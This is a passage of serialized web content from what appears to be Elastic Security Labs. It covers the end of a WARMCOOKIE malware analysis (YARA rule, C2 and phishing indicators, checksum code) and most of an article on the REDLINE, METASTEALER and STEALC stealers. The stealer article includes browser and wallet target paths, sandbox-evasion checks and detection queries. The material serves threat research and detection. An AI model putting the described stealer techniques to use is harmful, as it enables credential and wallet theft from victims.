\",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar\",rel:\"nofollow\",children:\"WARMCOOKIE\"}),\":\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-yara\",children:`rule Windows_Trojan_WarmCookie_7d32fa90 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-04-29\"\n last_modified = \"2024-05-08\"\n os = \"Windows\"\n arch = \"x86\"\n threat_name = \"Windows.Trojan.WarmCookie\"\n license = \"Elastic License v2\"\n\n strings:\n $seq_checksum = { 45 8D 5D ?? 45 33 C0 41 83 E3 ?? 49 8D 4E ?? 44 03 DB 41 8D 53 ?? }\n $seq_string_decrypt = { 8B 69 04 48 8D 79 08 8B 31 89 6C 24 ?? 48 8D 4E ?? E8 }\n $seq_filesearch = { 48 81 EC 58 02 00 00 48 8B 05 82 0A 02 00 48 33 C4 48 89 84 24 40 02 00 00 45 33 C9 48 8D 44 24 30 45 33 C0 48 89 44 24 20 33 C9 41 8D 51 1A FF 15 83 4D 01 00 85 C0 78 22 48 8D 4C 24 30 E8 1D }\n $seq_registry = { 48 81 EC 80 02 00 00 48 8B 05 F7 09 02 00 48 33 C4 48 89 84 24 70 02 00 00 4C 89 B4 24 98 02 00 00 48 8D 0D 4D CA 01 00 45 33 F6 41 8B FE E8 02 4F 00 00 48 8B E8 41 B9 08 01 00 00 48 8D 44 24 }\n $plain_str1 = \"release.dll\" ascii fullword\n $plain_str2 = \"\\\\\"Main Invoked.\\\\\"\" ascii fullword\n $plain_str3 = \"\\\\\"Main Returned.\\\\\"\" ascii fullword\n $decrypt_str1 = \"ERROR: Cannot write file\" wide fullword\n $decrypt_str2 = \"OK (No output data)\" wide fullword\n $decrypt_str3 = \"OK (See 'Files' tab)\" wide fullword\n $decrypt_str4 = \"cmd.exe /c %ls\" wide fullword\n $decrypt_str5 = \"Cookie:\" wide fullword\n $decrypt_str6 = \"%ls\\\\\\\\*.*\" wide fullword\n condition:\n (3 of ($plain*)) or (2 of ($seq*)) or 4 of ($decrypt*)\n}\n`})}),`\n`,(0,i.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"All observables are also available for \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/warmcookie\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Observable\"}),(0,i.jsx)(e.th,{children:\"Type\"}),(0,i.jsx)(e.th,{children:\"Name\"}),(0,i.jsx)(e.th,{children:\"Reference\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"ccde1ded028948f5cd3277d2d4af6b22fa33f53abde84ea2aa01f1872fad1d13\"})}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"RtlUpd.dll\"}),(0,i.jsx)(e.td,{children:\"WARMCOOKIE\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"omeindia[.]com\"})}),(0,i.jsx)(e.td,{children:\"domain\"}),(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"Phishing link\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"assets.work-for[.]top\"})}),(0,i.jsx)(e.td,{children:\"domain\"}),(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"Landing page\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"45.9.74[.]135\"})}),(0,i.jsx)(e.td,{children:\"ipv4-addr\"}),(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"Landing page\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"80.66.88[.]146\"})}),(0,i.jsx)(e.td,{children:\"ipv4-addr\"}),(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"WARMCOOKIE C2 server\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"185.49.69[.]41\"})}),(0,i.jsx)(e.td,{children:\"ipv4-addr\"}),(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"WARMCOOKIE C2 server\"})]})]})]})}),`\n`,(0,i.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following were referenced throughout the above research:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign\",rel:\"nofollow\",children:\"https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://x.com/Cryptolaemus1/status/1785423804577034362\",rel:\"nofollow\",children:\"https://x.com/Cryptolaemus1/status/1785423804577034362\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"appendix\",children:\"Appendix\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:\"Checksum example\"})}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-python\",children:`def calculate_checksum(str_input, str_len, i):\n if i == 0:\n i = 0xFFFFFFFF\n if i == -1:\n i = 0\n\n for idx in range(0, str_len, 2):\n v6 = str_input[idx] | (str_input[idx + 1] \u003c\u003c 8)\n for _ in range(16):\n if (v6 ^ i) \u0026 1:\n i = ((i \u003e\u003e 1) ^ 0xEDB88320) \u0026 0xFFFFFFFF\n else:\n i = (i \u003e\u003e 1) \u0026 0xFFFFFFFF\n v6 \u003e\u003e= 1\n\n return ~i \u0026 0xFFFFFFFF\n\n\nserial_volume = 0x0A2C9AD2F\n\nmutex = \"f92e6f3c-9cc3-4be0-966c-1be421e69140\".encode(\"utf-16le\")\nmutex_result = calculate_checksum(mutex, len(mutex), -1)\n\nusername = \"REM\\\\x00\".encode(\"utf-16le\")\nusername_result = calculate_checksum(username, len(username), -1)\n\ncomputer_name = \"DESKTOP-2C3IQHO\".encode(\"utf-16le\")\ncomputer_name_result = calculate_checksum(computer_name, len(computer_name), -1)\n\nprint(f\"Mutex: {hex(mutex_result)}\")\nprint(f\"Username: {hex(username_result)}\")\nprint(f\"Computer Name: {hex(computer_name_result)}\")\nprint(f\"#1 Checksum: {hex(serial_volume ^ mutex_result)}\")\nprint(f\"#2 Checksum: {hex(username_result ^ computer_name_result)}\")\n`})})]})}function C(n={}){let{wrapper:e}=n.components||{};return e?(0,i.jsx)(e,Object.assign({},n,{children:(0,i.jsx)(c,n)})):c(n)}var k=C;return b(T);})();\n;return Component;"},"_id":"articles/dipping-into-danger.mdx","_raw":{"sourceFilePath":"articles/dipping-into-danger.mdx","sourceFileName":"dipping-into-danger.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/dipping-into-danger"},"type":"Article","imageUrl":"/assets/images/dipping-into-danger/warmcookie.jpg","readingTime":"27 min read","series":"","url":"/dipping-into-danger","headings":[{"level":2,"title":"WARMCOOKIE at a glance","href":"#warmcookie-at-a-glance"},{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"REF6127 campaign overview","href":"#ref6127-campaign-overview"},{"level":3,"title":"REF6127 infrastructure overview","href":"#ref6127-infrastructure-overview"},{"level":2,"title":"WARMCOOKIE malware anlaysis","href":"#warmcookie-malware-anlaysis"},{"level":3,"title":"Stage 1","href":"#stage-1"},{"level":4,"title":"Persistence","href":"#persistence"},{"level":3,"title":"Stage 2","href":"#stage-2"},{"level":4,"title":"Obfuscation ","href":"#obfuscation-"},{"level":4,"title":"Dynamic API loading","href":"#dynamic-api-loading"},{"level":4,"title":"Anti-debugging","href":"#anti-debugging"},{"level":4,"title":"Mutex","href":"#mutex"},{"level":4,"title":"Execution","href":"#execution"},{"level":4,"title":"Communication","href":"#communication"},{"level":3,"title":"Bot functionality","href":"#bot-functionality"},{"level":4,"title":"Retrieve victim details - command ID (1)","href":"#retrieve-victim-details---command-id-1"},{"level":4,"title":"Screenshot capture - command ID (2)","href":"#screenshot-capture---command-id-2"},{"level":4,"title":"Retrieve installed programs - command ID (3)","href":"#retrieve-installed-programs---command-id-3"},{"level":4,"title":"Command-line execution - command ID (4)","href":"#command-line-execution---command-id-4"},{"level":4,"title":"Write file - command ID (5)","href":"#write-file---command-id-5"},{"level":4,"title":"Read file - command ID (6)","href":"#read-file---command-id-6"},{"level":4,"title":"Remove persistence - command ID (10)","href":"#remove-persistence---command-id-10"},{"level":2,"title":"IDA string decryption tool","href":"#ida-string-decryption-tool"},{"level":2,"title":"Conclusion","href":"#conclusion"},{"level":2,"title":"WARMCOOKIE and MITRE ATT\u0026CK","href":"#warmcookie-and-mitre-attck"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":3,"title":"Techniques","href":"#techniques"},{"level":2,"title":"Preventing and detecting WARMCOOKIE","href":"#preventing-and-detecting-warmcookie"},{"level":3,"title":"Prevention","href":"#prevention"},{"level":3,"title":"Detection w/YARA","href":"#detection-wyara"},{"level":2,"title":"Observations","href":"#observations"},{"level":2,"title":"References","href":"#references"},{"level":2,"title":"Appendix","href":"#appendix"}],"author":[{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Globally distributed stealers","slug":"globally-distributed-stealers","date":"2024-05-24","description":"This article describes our analysis of the top malware stealer families, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly.","image":"Security Labs Images 25.jpg","body":{"raw":"\n## Introduction\n\nThis article describes our analysis of the top Windows malware stealer families that we’ve identified, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly. Additionally, we’ll examine our unique telemetry to offer insights about the current volume associated with these prevalent malware stealer families.\n\nMitigating this kind of covert threat requires a multi-faceted approach consistent with defense-in-depth principles. We will likewise describe various techniques for detection, including the use of ES|QL hunting queries and Yara rules which empower organizations to proactively defend against them.\n\n## Telemetry overview\n\nThe telemetry data showcased in this article encompasses insights gathered from both internal and external sources, providing a comprehensive understanding of threat activity.\n\nNotably, between 2022 and 2023, REDLINE emerged as the most prevalent malware in the wild, closely trailed by AGENT TESLA, VIDAR, and then STEALC. It's worth highlighting that this period marked the debut of STEALC in the wild, indicative of evolving threat landscapes.\n\nIn the subsequent time frame, spanning from 2023 to 2024, there was a notable spike in AGENT TESLA activity, followed by REDLINE, STEALC, and VIDAR, reflecting shifting trends in malware prevalence and distribution.\n\n![Telemetry data May 2023 - May 2024](/assets/images/globally-distributed-stealers/image6.png)\nElastic telemetry data May 2023 - May 2024\n\nDespite fluctuations in general malware prevalence, AGENT TESLA has consistently maintained its position as a prominent threat. This enduring dominance can be attributed to several factors, including its relatively low price point and enticing capabilities, which appeal to a wide range of threat actors, particularly those operating with limited resources or expertise.\n\nA noteworthy observation is that due to METASTEALER’s foundation on REDLINE, certain METASTEALER samples may inadvertently fall under the categorization of REDLINE.\n\n![METASTEALER triggering REDLINE signatures](/assets/images/globally-distributed-stealers/image5.png)\n\n## Top stealers overview\n\n### REDLINE (REDLINE STEALER)\n\n[REDLINE](https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer) made its debut in the threat landscape in 2020, leveraging email as its initial distribution method; it operates on a Malware-as-a-Service (MaaS) model, making it accessible to a wide range of threat actors. Its affordability and availability in underground forums have contributed to its popularity among cybercriminals.\n\nThe latest operations of REDLINE involve multiple infection vectors, including email phishing, malicious websites hosting seemingly legitimate applications, and social engineering tactics. Our researchers analyzed a recent sample [reported by vx-underground](https://x.com/vxunderground/status/1634713832974172167) indicating a campaign targeting engineers on the freelancing platform Fiverr. This tactic poses significant risks, potentially leading to the compromise of companies through unsuspecting freelancers.\n\nREDLINE is built on the .NET framework, which provides it with portability and ease of implementation. It has a variety of functionalities aimed at gathering vital system information and extracting sensitive data:\n\n - System information acquisition:\n - Collects essential system details such as UserName, Language, and Time Zone\n - Retrieves hardware specifics including processor and graphic card information\n - Monitors running processes and identifies installed browsers\n - Data extraction:\n - Targets browser data repositories, extracting saved passwords, credit card details, cookies, and auto-fill entries\n - Procures VPN login credentials for unauthorized access\n - Logs user credentials and chat histories from platforms like Discord and Telegram\n - Identifies and steals cryptocurrency wallets, potentially compromising valuable digital assets:\n\n![REDLINE collecting system information](/assets/images/globally-distributed-stealers/image13.png)\n\nREDLINE uses a string obfuscation technique to hinder analysis and evade detection based on strings like yara by dynamically constructing the strings at runtime from an array of characters:\n\n![REDLINE string obfuscation](/assets/images/globally-distributed-stealers/image4.png)\n\nIts configuration is structured within a static class, containing four public fields: ```IP```, ```ID```, ```Message```, and an XOR Key. The ```IP``` and ```ID``` fields contents are encrypted using XOR encryption and then encoded in base64 as depicted below:\n \n![REDLINE's configuration](/assets/images/globally-distributed-stealers/image3.png)\n\n### METASTEALER\n\n[METASTEALER](https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer) emerged in 2022, initially advertised as a derivative of REDLINE, with additional features; our malware analysts recently encountered a sample of METASTEALER within a campaign masquerading as Roblox, previously [reported by CERT as Orange Polska](https://x.com/CERT_OPL/status/1767191320790024484). \n\nMETASTEALER is primarily developed using the .NET framework, facilitating its compatibility with Windows environments and enabling ease of implementation. Certain versions employ obfuscation methods, including obscuring the control flow of the malware and making it more challenging to detect or analyze.\n\nThis METASTEALER sample utilizes the [AGILE.NET](https://www.secureteam.net/) obfuscator, specifically its proxy call obfuscation method. This technique is used to conceal the direct invocation of an original function by introducing an additional layer of abstraction. Instead of directly invoking the function, AGILE.NET generates a proxy method that then invokes the original function. This added complexity makes it more challenging for code analysts to discern the sequence of actions.\n\n![METASTEALER's obfuscation](/assets/images/globally-distributed-stealers/image9.png)\n\nLooking at the code above, we can see the method `Delegate11.smethod_0` calls a `Delegate11.delegate11_0` which is not initialized, introducing ambiguity during static analysis as analysts cannot determine which method will actually be executed.\n\n![METASTEALER initializing the delegate](/assets/images/globally-distributed-stealers/image14.png)\n\nAt runtime, the malware will initialize the delegate. by calling the method `Class4.smethod_13` in the constructor of `Delegate11` class, this method constructs a dictionary of token values, where each key represents the token value of a delegate (e.g., ```0x040002DE```), and its corresponding value represents the token of the original method to be executed. This dictionary is constructed from a sequence of bytes stored in the binary, enabling dynamic resolution of method invocations during runtime.\n\nFollowing this, it will generate a dynamic method for the delegate and execute it using the `smethod_0` function.\n\n![METASTEALER generating delegates dynamic method](/assets/images/globally-distributed-stealers/image8.png)\n\n![METASTEALER checking for debuggers](/assets/images/globally-distributed-stealers/image7.png)\n\nAll the important strings in the configuration, like the C2 IP address and port, are encrypted. The malware has a class called `Strings` that is called at the start of execution to decrypt all the strings at once, a process involving a combination of Base64 encoding, XOR decryption, and AES CBC decryption.\n\nInitially, the AES parameters, such as the ```AES KEY``` and ```AES IV```, undergo decryption. In the provided example, the ```AES KEY``` and ```AES IV``` are first base64 decoded. Subsequently, they are subjected to XOR decryption using a predetermined XOR key, followed by two consecutive base64 decoding steps.\n\n![Encrypted AES parameters](/assets/images/globally-distributed-stealers/image1.png)\n\nThe Strings class holds byte arrays that are decrypted using AES CBC after being reversed, and then appended to the **Strings.Array** list. Later, when the malware requires specific strings, it accesses them by indexing this list. For example **String.get(6)**.\n\n### STEALC\n\nA recent major player in the stealer space [discovered](https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/) by Sekoia in February 2023 is the [STEALC](https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc) family. This malware was first advertised in an underground forum in January 2023 where the developer mentioned a major dependency on existing families such as VIDAR, RACOON, and REDLINE. Since this timeframe, our team has observed new STEALC samples daily showing signs of popularity and adoption by cybercriminals.\n\nSTEALC is implemented in C and includes features like dynamic imports, string obfuscation, and various anti-analysis checks prior to activating its data-stealing capabilities. In order to protect the binary and its core features, STEALC encrypts its strings using a combination of Base64 + RC4 using a hardcoded key embedded in each sample.\n\n![Embedded RC4 key and encrypted strings within STEALC](/assets/images/globally-distributed-stealers/image10.png)\n\nThere are 6 separate functions used for anti-analysis/anti-sandbox checks within STEALC. Based on the number of processors, STEALC will terminate itself if the active processor count is less than 2.\n\n![Retrieve number of processors](/assets/images/globally-distributed-stealers/image2.png)\n\nSTEALC performs a sandbox/emulation test using a more obscure Windows API (`VirtualAllocExNuma`) to allocate a large amount of memory. If the API is not implemented, the process will terminate.\n\n![API check using VirtualAllocExNuma](/assets/images/globally-distributed-stealers/image15.png)\n\nThe malware performs another sandbox check by reading values from `GlobalMemoryStatusEx`. After a byte shift against the collected attributes of the physical memory, if the value is less than ```0x457``` the sample will terminate. \n\nThe malware will stop execution if the language identifier matches one of the following LangIDs:\n - Russian_Russia (```0x419```)\n - Ukrainian_Ukraine (```0x422```)\n - Belarusian_Belarus (```0x423```)\n - Kazakh_Kazakhstan (```0x43f```)\n - Uzbek_Latin__Uzbekistan (```0x443```)\n\nSTEALC also incorporates the Microsoft Defender emulation check, we have observed this in many stealers such as seen in [LOBSHOT](https://www.elastic.co/security-labs/elastic-security-labs-discovers-lobshot-malware). STEALC will terminate if the following hard-coded values match inside Microsoft Defender’s emulation layer with the username ```JohnDoe``` and computer name of ```HAL9TH```.\n\n![Microsoft Defender emulation check using computer name and username](/assets/images/globally-distributed-stealers/image12.png)\n\nOne of the more impactful anti-analysis checks that comes with STEALC is an expiration date. This unique value gets placed into the malware’s config to ensure that the stealer won’t execute after a specific date set by the builder. This allows the malware to keep a lower profile by using shorter turnarounds in campaigns and limiting the execution in sandbox environments.\n\n#### STEALC - Execution flow\n\nAfter its initial execution, STEALC will send the initial hardware ID of the machine and receive a configuration from the C2 server:\n\n```\nf960cc969e79d7b100652712b439978f789705156b5a554db3acca13cb298050efa268fb|done|tested.file|1|1|1|1|1|1|1|1|\n```\n\nAfter this request, it will send multiple requests to receive an updated list of targeted browsers and targeted browser extensions. Below is an example of the browser configuration, this contains the targeted directory path where the sensitive data is stored.\n\n```\nGoogle Chrome|\\Google\\Chrome\\User Data|chrome|chrome.exe|Google Chrome Canary|\\Google\\Chrome SxS\\User Data|chrome|chrome.exe|Chromium|\\Chromium\\User Data|chrome|chrome.exe|Amigo|\\Amigo\\User Data|chrome|0|Torch|\\Torch\\User Data|chrome|0|Vivaldi|\\Vivaldi\\User Data|chrome|vivaldi.exe|Comodo Dragon|\\Comodo\\Dragon\\User Data|chrome|0|EpicPrivacyBrowser|\\Epic Privacy Browser\\User Data|chrome|0|CocCoc|\\CocCoc\\Browser\\User Data|chrome|0|Brave|\\BraveSoftware\\Brave-Browser\\User Data|chrome|brave.exe|Cent Browser|\\CentBrowser\\User Data|chrome|0|7Star|\\7Star\\7Star\\User Data|chrome|0|Chedot Browser|\\Chedot\\User Data|chrome|0|Microsoft Edge|\\Microsoft\\Edge\\User Data|chrome|msedge.exe|360 Browser|\\360Browser\\Browser\\User Data|chrome|0|QQBrowser|\\Tencent\\QQBrowser\\User Data|chrome|0|CryptoTab|\\CryptoTab Browser\\User Data|chrome|browser.exe|Opera Stable|\\Opera Software|opera|opera.exe|Opera GX Stable|\\Opera Software|opera|opera.exe|Mozilla Firefox|\\Mozilla\\Firefox\\Profiles|firefox|0|Pale Moon|\\Moonchild Productions\\Pale Moon\\Profiles|firefox|0|Opera Crypto Stable|\\Opera Software|opera|opera.exe|Thunderbird|\\Thunderbird\\Profiles|firefox|0|\n```\n\nAt this point, STEALC will then collect a broad range of victim information. This information is then formatted, Base64 encoded, and then sent to the C2 server over POST requests using form data fields. \n - Hardware ID\n - Windows OS product info\n - Processor / RAM information\n - Username / computername\n - Local system time / time zone / locale of victim\n - Keyboard layout\n - Battery check (used to determine if laptop or not)\n - Desktop resolution, display info\n - Installed programs, running processes\n\nFor the stealing component, STEALC leverages the received configurations in order to collect various valuable information including:\n - Browser cookies\n - Login data\n - Web data\n - History\n - Cryptocurrency wallets\n\nSTEALC also offers other various configuration options including:\n - Telegram data\n - Discord\n - Tox\n - Pidgin\n - Steam\n - Outlook emails\n\n| | RedLine Stealer | Meta Stealer | Stealc |\n| --- | --- | --- | --- |\n| First time seen in the wild | 2020 | 2022 | 2023 |\n| Source Language | C# | C# | C |\n| Average size (unpacked) | 253 KB | 278 KB | 107 KB |\n| String obfuscation? Algo? | Yes | Yes | Yes (custom RC4 + base64) |\n\n\n## Detection\n\nTo fully leverage detection capabilities listed below for these threats with Elastic Security, it is essential to integrate [Elastic Defend](https://docs.elastic.co/en/integrations/endpoint) and [Windows](https://docs.elastic.co/en/integrations/windows).\n\n - [Connection to WebService by an Unsigned Binary](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_an_unsigned_binary.toml)\n - [Connection to WebService by a Signed Binary Proxy](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml)\n - [Suspicious DNS Query from Mounted Virtual Disk](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_suspicious_dns_query_from_mounted_virtual_disk.toml)\n - [Suspicious Access to Web Browser Credential Stores](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_suspicious_access_to_web_browser_credential_stores.toml)\n - [Web Browser Credential Access via Unsigned Process](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_web_browser_credential_access_via_unsigned_process.toml)\n - [Access to Browser Credentials from Suspicious Memory](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_access_to_browser_credentials_from_suspicious_memory.toml)\n - [Failed Access Attempt to Web Browser Files](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_failed_access_attempt_to_web_browser_files.toml)\n - [Web Browser Credential Access via Unusual Process](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_web_browser_credential_access_via_unusual_process.toml)\n\n### ES|QL queries\nThe following list of hunts and detection queries can be used to detect stealers activities:\n\n- Identifies untrusted or unsigned executables making DNS requests to Telegram or Discord domains, which may indicate command-and-control communication attempts.\n ``` sql\n from logs-endpoint*\n | where (process.code_signature.trusted == false or process.code_signature.exists == false)\n | where dns.question.name in (\"api.telegram.com\", \"cdn.discordapp.com\",\n \"discordapp.com\", \"discord.com\",\"discord.gg\",\"cdn.discordapp.com\")\n | stats executable_count = count(*) by process.executable, process.name, dns.question.name\n | sort executable_count desc\n ```\n\n- Detects suspicious activies targeting crypto wallets files and configurations stored on Windows systems.\n\n ``` sql\n from logs-endpoint.events.file-*\n | where @timestamp \u003e now() - 14 days\n | where host.os.type == \"windows\"\n and event.category == \"file\"\n and event.action == \"open\" \n and (\n file.path rlike \"\"\"C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\.+\\\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\\\.*\"\"\"\n or file.path rlike \"\"\"C:\\\\ProgramData\\\\.+\\\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\\\.*\"\"\"\n )\n | keep process.executable, process.name, host.id, file.path, file.name\n | stats number_hosts = count_distinct(host.id), unique_files = count_distinct(file.name) by process.executable\n | where number_hosts == 1 and unique_files \u003e= 3\n | sort number_hosts desc\n ```\n\n- Monitors access to sensitive browser data, such as cookies, login data, and browsing history, which may indicate information-stealing malware activities.\n\n ``` sql\n from logs-endpoint.events.file-*, logs-windows.sysmon_operational-default-*\n | where @timestamp \u003e now() - 14 days\n | where host.os.type == \"windows\"\n and event.category == \"file\"\n and event.action in (\"open\", \"modification\")\n and (\n file.path rlike \"C:\\\\\\\\Users\\\\\\\\.+\\\\\\\\AppData\\\\\\\\Local\\\\\\\\(Google\\\\\\\\Chrome\\\\\\\\User Data\\\\\\\\.*|Google\\\\\\\\Chrome SxS\\\\\\\\User Data\\\\\\\\.*|Chromium\\\\\\\\User Data\\\\\\\\.*|Amigo\\\\\\\\User Data\\\\\\\\.*|Torch\\\\\\\\User Data\\\\\\\\.*|Vivaldi\\\\\\\\User Data\\\\\\\\.*|Comodo\\\\\\\\Dragon\\\\\\\\User Data\\\\\\\\.*|Epic Privacy Browser\\\\\\\\User Data\\\\\\\\.*|CocCoc\\\\\\\\Browser\\\\\\\\User Data\\\\\\\\.*|BraveSoftware\\\\\\\\Brave-Browser\\\\\\\\User Data\\\\\\\\.*|CentBrowser\\\\\\\\User Data\\\\\\\\.*|7Star\\\\\\\\7Star\\\\\\\\User Data\\\\\\\\.*|Chedot\\\\\\\\User Data\\\\\\\\.*|Microsoft\\\\\\\\Edge\\\\\\\\User Data\\\\\\\\.*|360Browser\\\\\\\\Browser\\\\\\\\User Data\\\\\\\\.*|Tencent\\\\\\\\QQBrowser\\\\\\\\User Data\\\\\\\\.*|CryptoTab Browser\\\\\\\\User Data\\\\\\\\.*|Opera Software\\\\\\\\Opera Stable\\\\\\\\.*|Opera Software\\\\\\\\Opera GX Stable\\\\\\\\.*)\\\\\\\\(Default|Profile \\\\\\\\d+)\\\\\\\\(Cookies|Login Data|Web Data|History|Bookmarks|Preferences|Visited Links|Network Action Predictor|Top Sites|Favicons|Shortcuts)\"\n or file.path rlike \"C:\\\\\\\\Users\\\\\\\\.+\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Mozilla\\\\\\\\Firefox\\\\\\\\Profiles\\\\\\\\.*\\\\\\\\(cookies.sqlite|logins.json|places.sqlite|key4.db|cert9.db)\"\n or file.path rlike \"C:\\\\\\\\Users\\\\\\\\.+\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Moonchild Productions\\\\\\\\Pale 